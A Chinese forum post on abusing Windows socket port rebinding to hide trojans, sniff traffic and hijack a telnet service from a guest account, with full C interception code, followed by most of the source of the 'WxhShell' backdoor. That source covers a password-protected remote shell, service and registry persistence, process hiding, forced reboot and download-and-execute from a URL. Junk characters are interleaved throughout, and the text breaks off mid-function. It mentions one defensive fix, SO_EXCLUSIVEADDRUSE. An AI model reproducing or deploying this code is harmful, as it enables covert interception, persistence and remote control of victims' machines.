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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BA1H)%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "{vWdY|"  
\h3HaNC  
  saddr.sin_family = AF_INET; wi+Q lf  
dQSO8Jf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Pa0W|q#?X  
>ye.rRZd`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d6*84'|!  
>6yQuB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^G`6Zg;  
l4i 51S"  
  这意味着什么?意味着可以进行如下的攻击: GdUsv  
Wap4:wT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {.kIC@^O  
'gor*-o:wu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uMva5o  
] / Nt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7xO05)bz  
6M&ajl`o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  PEEaNOk 1b  
A z@@0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :|kO}NGM  
;b 65s9n^b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *w0|`[P+h  
*(5;5r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @!oN]0`F;  
V  H`_  
  #include 9;%$  
  #include i[9gcL"  
  #include @,1_CqV  
  #include    %T>@Ldt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &iw,||#  
  int main() HdtGyh6X0  
  { ,nL~?h-Zh  
  WORD wVersionRequested; j[i*;0) |  
  DWORD ret; p5E okh  
  WSADATA wsaData; >;Oa|G  
  BOOL val; C)FO:lLr\  
  SOCKADDR_IN saddr; @C@9Tw2Y  
  SOCKADDR_IN scaddr; QyL]-zNg  
  int err; oy jkk  
  SOCKET s; j?*n@'   
  SOCKET sc; `:7r5}(^  
  int caddsize; W=A0+t%XC  
  HANDLE mt; Tv7W)?3h  
  DWORD tid;   K_Y{50#  
  wVersionRequested = MAKEWORD( 2, 2 ); 2~hdJ/  
  err = WSAStartup( wVersionRequested, &wsaData ); }iDRlE,  
  if ( err != 0 ) { N[O .p]8  
  printf("error!WSAStartup failed!\n"); pD[&,gV$  
  return -1; @bTm.3  
  } 1J1Jp|j.  
  saddr.sin_family = AF_INET; {J1rjrPo  
   XM!oN^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g zi=+oJ|4  
:tO?+1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G3|23G.~)(  
  saddr.sin_port = htons(23);  !{V`N|0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ESoqmCJjb:  
  { OQ2G2>p  
  printf("error!socket failed!\n"); 4w%hvJ  
  return -1; L|APXy]>  
  } s[{8:Px  
  val = TRUE; *-]k([wV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qU6!vgM&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2u_=i$xW  
  { q*R~gEi#yk  
  printf("error!setsockopt failed!\n"); hb~d4J=S  
  return -1; <5KoK!H  
  } 2&'uO'K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J6EzD\.Y)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +Q_xY>ej  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +e>G V61  
 >h2qam  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "K>!+<  
  { 9{nU\am!\  
  ret=GetLastError(); _6.@^\;  
  printf("error!bind failed!\n"); Bz ,D4 E$  
  return -1; p=[dt  
  } 7Y~5gn  
  listen(s,2); u* iqwm.  
  while(1) 7>7n|N  
  { g-#eMQ%J  
  caddsize = sizeof(scaddr); QP<P,Bi~  
  //接受连接请求 moVf(7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #|769=1  
  if(sc!=INVALID_SOCKET) ZHA&gdK@  
  { 3<FqK\P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /Tl ybSC1  
  if(mt==NULL) )N{PWSPs  
  { 8z=o.\@  
  printf("Thread Creat Failed!\n"); |#*+#27  
  break; 4ybOK~z  
  } HSG9|}$  
  } #F .8x@  
  CloseHandle(mt); wAR:GO'n  
  } .w m<l:  
  closesocket(s); ZPM7R3%V)z  
  WSACleanup(); T5pc%%q  
  return 0; 2mj>,kS?c  
  }   4mBM5Tv  
  DWORD WINAPI ClientThread(LPVOID lpParam) UlN}SddI9  
  { /Y\q&}  
  SOCKET ss = (SOCKET)lpParam; -{eiV0<^  
  SOCKET sc; 7je1vNs  
  unsigned char buf[4096]; T;3~teVYB  
  SOCKADDR_IN saddr; )`5-rm~*  
  long num; vA*NJ%&`  
  DWORD val; ZQz;EV!  
  DWORD ret; {XhpxJ__  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )}w-;HX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2s 9U&  
  saddr.sin_family = AF_INET; 'uUa|J1mu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jz;`L3m  
  saddr.sin_port = htons(23); z SsogAx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *qMjoP,  
  { ~U?vB((j!  
  printf("error!socket failed!\n"); &n6 |L8  
  return -1; Z+J~moW `  
  } N9)ERW2`*  
  val = 100; /$vX1T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \<%FZT_4~  
  { &@7|_60  
  ret = GetLastError(); K1<l/ s  
  return -1; N/^[c+J  
  } l%2B4d9"v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1 d.>?^uE  
  { T?__  
  ret = GetLastError(); ; zy;M5l5.  
  return -1; _x#r,1V+D  
  } b[;3y/X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +xmZK<{<  
  { t.O4-+$ig  
  printf("error!socket connect failed!\n"); /s:akLBaD  
  closesocket(sc); >273V+dy  
  closesocket(ss); g ]}] /\  
  return -1; 1^;&?E  
  } [iSLn3XXRX  
  while(1) x~yd/ R  
  { [qt^gy)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v#sx9$K T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^T@-yys  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /_bM~g  
  num = recv(ss,buf,4096,0); qn\>(&  
  if(num>0) GWShv\c}  
  send(sc,buf,num,0); Q;1$gImFz  
  else if(num==0) }Ty_ } 6a5  
  break; DNM~/Oo  
  num = recv(sc,buf,4096,0); uoBPi[nK  
  if(num>0) ,%m$_wA$  
  send(ss,buf,num,0); gD fVY%[Z  
  else if(num==0) pm;g)p?  
  break; 9Bmgz =8  
  } JeCEj=_Z  
  closesocket(ss); X_|} b[b  
  closesocket(sc); }fxH>79g  
  return 0 ; -3b0;L&4>x  
  } lu.2ZQE  
r?2C%GI`  
X4*/h$48 w  
========================================================== C[$<7Mi|;  
l}c<eEfOy"  
下边附上一个代码,,WXhSHELL 9zd)[4%=  
`}Hnj*  
========================================================== 1$2Rs-J  
CUw 9aH  
#include "stdafx.h" 1r w>gR  
qOa-@MN  
#include <stdio.h> oq<#  
#include <string.h> Bp6Evi  
#include <windows.h> -XY]WWlq  
#include <winsock2.h> (/Y gcT  
#include <winsvc.h> &c@I4RV|q  
#include <urlmon.h> ZNA?`Z)f  
?,),%JQ  
#pragma comment (lib, "Ws2_32.lib") ]g+(#x_.?  
#pragma comment (lib, "urlmon.lib") IweQB}d  
qx? lCz a"  
#define MAX_USER   100 // 最大客户端连接数 en~(XE1  
#define BUF_SOCK   200 // sock buffer eZJOI1wNp  
#define KEY_BUFF   255 // 输入 buffer i|d41u;@  
 y.eBFf  
#define REBOOT     0   // 重启 y.oJzU[p%  
#define SHUTDOWN   1   // 关机 MDCf(LhEH  
*'t`;m~  
#define DEF_PORT   5000 // 监听端口 V[#lFl).  
& ='uAw  
#define REG_LEN     16   // 注册表键长度 02S(9^=  
#define SVC_LEN     80   // NT服务名长度 2Uk8{d  
<*5D0q#~"  
// 从dll定义API 3 \WdA$Wx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >) :d38M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bo"I:)n;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tp6ysjao  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); },L[bDOV07  
f!I e  
// wxhshell配置信息 r#~6FpFVK^  
struct WSCFG { `4p9K  
  int ws_port;         // 监听端口 BzUx@,  
  char ws_passstr[REG_LEN]; // 口令 lJ,s}l7  
  int ws_autoins;       // 安装标记, 1=yes 0=no |O+binq  
  char ws_regname[REG_LEN]; // 注册表键名 xO@OkCue  
  char ws_svcname[REG_LEN]; // 服务名 p.IfJ|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e)bqE^JP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M*{e e0\`r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |ZKchd8Yq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J)[(4R>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ozo8 Tr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 liB>~DVC  
_0`O}  
}; .lnD]Q  
t2$:*PvE  
// default Wxhshell configuration 3G&1. 8  
struct WSCFG wscfg={DEF_PORT, Ywr{/  
    "xuhuanlingzhe", C|JWom\J  
    1, u60l-  
    "Wxhshell", g/yXPzLU  
    "Wxhshell", cK } Qu  
            "WxhShell Service", vNt2s)J$  
    "Wrsky Windows CmdShell Service", =@f;s<v/  
    "Please Input Your Password: ", 0&-sz=L  
  1, #,;k>2j0  
  "http://www.wrsky.com/wxhshell.exe", ouI0"R&@  
  "Wxhshell.exe" M;bQid@BG  
    }; S{H8}m|MW  
w {q YP  
// 消息定义模块 Vqr&)i"b$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eyWwE%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DQ}]'*@?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iB`m!g6$  
char *msg_ws_ext="\n\rExit."; oAx0$]+%V)  
char *msg_ws_end="\n\rQuit."; WQ]pg "  
char *msg_ws_boot="\n\rReboot..."; ] ge-b\  
char *msg_ws_poff="\n\rShutdown..."; N!3f1d7RQ  
char *msg_ws_down="\n\rSave to "; \3/9lE|gh  
Pg36'aTe%j  
char *msg_ws_err="\n\rErr!"; lo#,zd~  
char *msg_ws_ok="\n\rOK!"; I R&u55#I6  
PTh Ya  
char ExeFile[MAX_PATH]; s5dh]vNN  
int nUser = 0; Lsz`nD5  
HANDLE handles[MAX_USER]; a`uT'g[*  
int OsIsNt; \CGcP  
1XKk~G"D  
SERVICE_STATUS       serviceStatus; Sm,$~~iq}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xl^'U/  
{%Y7]*D  
// 函数声明 ;sf/tX  
int Install(void); +A3 H#'  
int Uninstall(void); a*8}~p,  
int DownloadFile(char *sURL, SOCKET wsh); ;F Bc^*q  
int Boot(int flag); H#y"3E<s  
void HideProc(void); Mg$Z^v|}0  
int GetOsVer(void); 1d"P) 3dQ  
int Wxhshell(SOCKET wsl); qGqu/$bh  
void TalkWithClient(void *cs); '9gI=/29D  
int CmdShell(SOCKET sock); 9lxT5Wg  
int StartFromService(void); .%A2  
int StartWxhshell(LPSTR lpCmdLine); \v_C7R;&  
,d+mT^jN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2vC=.1k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2 *$n?  
K&h6#[^\d  
// 数据结构和表定义 DPOPRi~  
SERVICE_TABLE_ENTRY DispatchTable[] = Ah`dt8t  
{ 4@I]PG  
{wscfg.ws_svcname, NTServiceMain}, EUkNh>U?  
{NULL, NULL} =)8Ct  
}; 68*{Lo?U  
|*5nr5c_L  
// 自我安装 4#w^PM8}  
int Install(void) qu%s 7+  
{ / ["T#`  
  char svExeFile[MAX_PATH]; ^d*>P|n*@e  
  HKEY key; ,Mc 2dhq  
  strcpy(svExeFile,ExeFile); Mm!saKT%  
8E+l; 2  
// 如果是win9x系统,修改注册表设为自启动 jlBCu(.,_  
if(!OsIsNt) { }t'^Au`X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fL;p^t u3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ULjzhy+(8  
  RegCloseKey(key); !Xi>{nV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d#Ajb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]N_^{k,  
  RegCloseKey(key); vp@+wh]#  
  return 0; =*Xf(mhc  
    } M jTKM;  
  } Hi9z<l=$  
} 9_3M}|V$^e  
else { &?6w 2[}  
\tx/!tA  
// 如果是NT以上系统,安装为系统服务 }nl)*l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rYQ@"o0/Y  
if (schSCManager!=0) CdO-xL6F  
{ : 4WbDeR  
  SC_HANDLE schService = CreateService l0{DnQA>I  
  ( P}`1#$  
  schSCManager, ?xZmm%JF  
  wscfg.ws_svcname, }q W aE  
  wscfg.ws_svcdisp, k;5}@3iQ  
  SERVICE_ALL_ACCESS, r.;iO0[/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rjl__90  
  SERVICE_AUTO_START, :F=nb+HZ  
  SERVICE_ERROR_NORMAL, `WS_*fJ5  
  svExeFile, 8)8oR&(f  
  NULL, sIsu >eL  
  NULL, ".?{Y(~  
  NULL, (K6S tNtN  
  NULL, ]s@8I2_  
  NULL #7h fEAk  
  ); V&H8-,7z  
  if (schService!=0) (02(:;1  
  { w>_EM&r6~u  
  CloseServiceHandle(schService); nh)R  
  CloseServiceHandle(schSCManager); `F8;{`a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w.p'Dpw  
  strcat(svExeFile,wscfg.ws_svcname); t8 "-zd8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "lf3hWGw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _ZBR<{  
  RegCloseKey(key); .~ lt+M9  
  return 0; qI*1+R}  
    } a HL '(<  
  } -<]_:Kf{;&  
  CloseServiceHandle(schSCManager); Q0\5j<'e  
} t}*!UixE  
} (t$/G3E  
cV,Dl`1r  
return 1; 1C=P#MU`  
} FSs$ ] d;  
&Ld8Z9IeFp  
// 自我卸载 M) XQi/  
int Uninstall(void) m?$G(E5  
{ PSS/JFZ^  
  HKEY key; , vyx`wDd  
%W;Gf9.w  
if(!OsIsNt) { @(fY4]K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ilpZ/Rs  
  RegDeleteValue(key,wscfg.ws_regname); P%HyIODS  
  RegCloseKey(key); *%'7~58ObS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G!%XQ\a!  
  RegDeleteValue(key,wscfg.ws_regname); {NgY8w QB  
  RegCloseKey(key); \3?;[xD  
  return 0; gEHfsR=D6  
  } ArzsZ<\//  
} d ovwB`5  
} ^l&4UnLlc  
else { ky$:C,1t  
^) ^|;C\`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W r7e_  
if (schSCManager!=0) _kX/LR"L+  
{ 5XO'OSdYq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eAKQR  
  if (schService!=0) !&p:=}s  
  { U] -@yx  
  if(DeleteService(schService)!=0) { f ?zK "  
  CloseServiceHandle(schService); ]Wt6V^M'@  
  CloseServiceHandle(schSCManager); )wv[!cYyW  
  return 0; .t[ZXrd| 0  
  } .+L_!A  
  CloseServiceHandle(schService); l!V| T?  
  } 0lr4d Y  
  CloseServiceHandle(schSCManager); {<4?o? 1 g  
} 6@;L$QYY-V  
} _|wY[YJ[  
x~Ly$A2p  
return 1; Z)T@`B6  
} ?V:]u 3  
`+Z#*lj|@  
// 从指定url下载文件 bK$D lBZ  
int DownloadFile(char *sURL, SOCKET wsh) `yXx[deY  
{ RdvTtXg  
  HRESULT hr; 6ri?y=-c  
char seps[]= "/"; X3L[y\  
char *token; }6,bq`MN  
char *file; lWw!+[<:q1  
char myURL[MAX_PATH]; um2s^G  
char myFILE[MAX_PATH]; C"Q=(3  
(g2r\hI  
strcpy(myURL,sURL); NF(IF.8G  
  token=strtok(myURL,seps); XAxI?y[c  
  while(token!=NULL) `m;"I  
  { Q[Sd  
    file=token; s5aOAyb*w  
  token=strtok(NULL,seps); P9mxY*K)%5  
  } "q>I?UcZ  
gXLZ)>+A+  
GetCurrentDirectory(MAX_PATH,myFILE); \{=`F`oB=  
strcat(myFILE, "\\"); m<,G:?RM  
strcat(myFILE, file); FoD/Q  
  send(wsh,myFILE,strlen(myFILE),0); })Mv9~&S  
send(wsh,"...",3,0); cc(r,ij~4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sa(M66KkU  
  if(hr==S_OK) <Bb<?7q$ld  
return 0; n5* {hi  
else Fp6[W5>(-  
return 1; $N+ {r=  
~muIi#4  
} 9eN2)a/  
VO;UV$$  
// 系统电源模块 |]!Ky[P  
int Boot(int flag) B 6'%J  
{ &Bz7fKCo  
  HANDLE hToken; V_A,d8=lt  
  TOKEN_PRIVILEGES tkp; VfA5r`^  
Xt,,AGm}  
  if(OsIsNt) { KkL:p?@n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]1|Ql*6y,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~eV!!38 J  
    tkp.PrivilegeCount = 1; CNRU"I+jU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cYWy\+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~UJu @M  
if(flag==REBOOT) { <,4R2'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fByh";<`P  
  return 0; l88a#zUQDN  
} &c<}++'h  
else { @FdCbPl$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wt)SdF=U/  
  return 0; ZH$sMh<xg  
} ZOrTbik  
  } @U /3iDB\  
  else { ic0v*Y$  
if(flag==REBOOT) { IL>/PuZku  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,F`KQ )\"  
  return 0; |`Oa/\U  
} Y9@dZw%2  
else { Ij6Wz. *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _]D#)-uv}C  
  return 0; ;4/dk_~p]  
} 97]a-)SA  
} S-LZ(o{ZL  
SC $`  
return 1; >SxZ9T|%  
} m]=oaj@9  
iy.%kHC  
// win9x进程隐藏模块 @ Zgl>  
void HideProc(void) EB29vHAt~  
{ dp[w?AMhM9  
B/sBYVU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [*?_  
  if ( hKernel != NULL ) }@:QYTBi }  
  { T$8@2[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZH;y>Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kToVBU$  
    FreeLibrary(hKernel); @`kiEg'Q  
  } +i`Q 7+d  
-#S)}N En  
return; CEX}`I*-  
} 4g6ksdFQ  
?lc[ hH  
// 获取操作系统版本 r}y[r}vk  
int GetOsVer(void) V@f6Lj  
{ ^0`<k  
  OSVERSIONINFO winfo; "Ql}Y1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ] [HGzHA  
  GetVersionEx(&winfo); E/dO7I`B   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g* \P6  
  return 1; Yt/SnF  
  else ,\S pjE  
  return 0; aucZJjH  
} S[L#M;n  
%CxEZPe$  
// 客户端句柄模块 }#ep}h  
int Wxhshell(SOCKET wsl) :PFx&  
{ %l8*t$8  
  SOCKET wsh; f E.L  
  struct sockaddr_in client; s,$Z ("B  
  DWORD myID; WG8iTVwx  
y7M:b Uh  
  while(nUser<MAX_USER) ?y>Y$-v/C  
{ t":W.q<  
  int nSize=sizeof(client);  %K%^ ]{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q?imE~&U  
  if(wsh==INVALID_SOCKET) return 1; X/E7o92\  
`sk!C7%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q6C6PPc  
if(handles[nUser]==0) eC>"my`  
  closesocket(wsh); 8:P*z  
else Z p7yaz3y  
  nUser++; A[^qq UL'  
  } jF38kj3O7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c?!YFm  
/lS+J(I  
  return 0; kfqpI  
} *3_f &Y  
KMK&[E#r  
// 关闭 socket 4?>18%7&  
void CloseIt(SOCKET wsh) @,x_i8  
{ i<4>\nc  
closesocket(wsh); i\=z'  
nUser--; XMN?;Hj>  
ExitThread(0); =y< ">-  
} Lh8bQH  
<#+oQ>5s  
// 客户端请求句柄 F>~ xzc  
void TalkWithClient(void *cs) ioC@n8_[G  
{ [ME}Cv`?<E  
5l41Q  
  SOCKET wsh=(SOCKET)cs; QP6z?j.  
  char pwd[SVC_LEN]; _ yfdj[Ot`  
  char cmd[KEY_BUFF]; K<@[_W+  
char chr[1]; 1Yc%0L(  
int i,j; g d337jw  
Xh.+pJl,*  
  while (nUser < MAX_USER) { [_y9"MMwn  
xT9Yes&  
if(wscfg.ws_passstr) { D9qX->p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7"ylN"syZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jW-;4e*H=V  
  //ZeroMemory(pwd,KEY_BUFF); AIuMX4nb  
      i=0; -"W)|oC_  
  while(i<SVC_LEN) { :8p&#M  
BRQ"A,  
  // 设置超时 aB6Ye/Io  
  fd_set FdRead; mD9STuA$H  
  struct timeval TimeOut; 79)A%@YHQQ  
  FD_ZERO(&FdRead); B0f_kH~p~  
  FD_SET(wsh,&FdRead); "'['(e+7  
  TimeOut.tv_sec=8; =2^Vgc  
  TimeOut.tv_usec=0; }qc#lz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I"Q#IvNw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %x&F4U  
dCB&c ^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U?bG`. X  
  pwd=chr[0]; c]A Y  
  if(chr[0]==0xd || chr[0]==0xa) { Y)$52m5rM  
  pwd=0; QJx9I_  
  break; DdBxqkh  
  } n!GWqle  
  i++; 8@E8!w&~  
    } *;<e '[Y7f  
2q)T y9  
  // 如果是非法用户,关闭 socket ]]>nbgGn#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H76E+AY  
} }<vvxi  
Vy]A,Rn7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B,3 t`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'1hjd3k  
D9ANm"#  
while(1) { "$GK.MP5  
5^\m`gS  
  ZeroMemory(cmd,KEY_BUFF); $fj])>=H  
I0!j<G  
      // 自动支持客户端 telnet标准   JW=uK$sO  
  j=0; Yt -W1vl  
  while(j<KEY_BUFF) { @4;&hP2Z:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @gNpJB]V  
  cmd[j]=chr[0]; ~eDI$IO  
  if(chr[0]==0xa || chr[0]==0xd) { :Df)"~/mO+  
  cmd[j]=0; x_yF|]aI!  
  break; A:/}`  
  } hQXxG/yFm  
  j++; / T ,zZ9=  
    } z1F9$ ^  
&]w#z=5SXi  
  // 下载文件 x8Q~VVZr  
  if(strstr(cmd,"http://")) { gWkjUz )  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |V lMma z  
  if(DownloadFile(cmd,wsh)) 8=:A/47=J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AWO0NWTB  
  else PC|'yAN:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C5Xof|#p|  
  } qk&gA}qF  
  else { 5? Wg%@  
cST\~SUm  
    switch(cmd[0]) { >;,gGH  
  ei@3,{~5  
  // 帮助 D}MoNE[r  
  case '?': {  ozU2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [eyb7\#   
    break; V"O 9n[|  
  } H.:9:I[n  
  // 安装 KGu= ;  
  case 'i': { `qE4U4  
    if(Install()) J;~E<_"Hn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "=qv#mZ#9  
    else z=qWJQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mmHJ h\2v  
    break; V~85oUc\-  
    } QP:9%f>=  
  // 卸载 .:8[wI_f  
  case 'r': { mH)OB?+lq  
    if(Uninstall()) GMBJjP&R]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /jR8|sb  
    else Wm(:P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6+iK!&+=  
    break; n'yl)HA~>`  
    } Je^Y&a~  
  // 显示 wxhshell 所在路径 vevf[eO-  
  case 'p': { 4f!dY o4L  
    char svExeFile[MAX_PATH]; QWw"K$l  
    strcpy(svExeFile,"\n\r"); ;u,rtEMy;  
      strcat(svExeFile,ExeFile); _%%yV  
        send(wsh,svExeFile,strlen(svExeFile),0); FuuS"G,S  
    break; %*jGim~s  
    } : W~f;k  
  // 重启 eES'}[W>  
  case 'b': { ;|!MI'Af  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7H%_sw5S.  
    if(Boot(REBOOT)) ]U[&uymax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =5ug\S  
    else { @ u+|=x];  
    closesocket(wsh); Y''6NGf  
    ExitThread(0); a%E8(ms37y  
    } M6_-f ;.  
    break; r{S=Z~J  
    } =UNT.]  
  // 关机 )pS8{c)E  
  case 'd': { g2=}G<*0  
